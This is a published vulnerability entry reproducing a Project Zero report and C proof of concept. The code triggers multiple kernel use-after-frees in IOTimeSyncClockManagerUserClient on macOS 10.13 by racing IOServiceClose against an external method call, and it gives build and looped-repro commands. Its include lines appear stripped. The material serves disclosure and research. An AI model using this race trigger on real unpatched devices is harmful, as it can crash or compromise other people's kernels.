macOS/iOS - Multiple Kernel Use-After-Frees due to Incorrect IOKit Object Lifetime Management in IOTimeSyncClockManagerUserClient

Properties

Published:
12.12.2017
Target:
macOS/iOS

Code

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1377
 
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
 
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
 
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.
 
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.
 
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
 
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
 
// ianbeer
// build: clang -o timesync_uaf timesync_uaf.c -framework IOKit -lpthread
// repro: while true; do ./timesync_uaf; done
 
#if 0
MacOS multiple kernel UAFs due to incorrect IOKit object lifetime management in IOTimeSyncClockManagerUserClient
 
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
 
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
 
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.
 
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.
 
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
 
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
 
#include 
#include 
#include 
#include 
 
#include 
 
#include 
 
int go = 0;
 
void* thread_func(void* arg) {
  io_object_t conn = (io_object_t)arg;
  go = 1;
 
  IOServiceClose(conn);
  return 0;
}
 
int main(int argc, char** argv){
  kern_return_t err;
 
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOTimeSyncClockManager"));
 
  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }
   
  pthread_t thread;
  pthread_create(&thread, NULL, thread_func, (void*)conn);
 
  while(!go){;}
 
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;
 
  char inputStruct[4096];
  size_t inputStructCnt = 0;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 1;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0;
   
  err = IOConnectCallMethod(
    conn,
    1,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 
 
  printf("%x\n", err);
 
  return 0;
}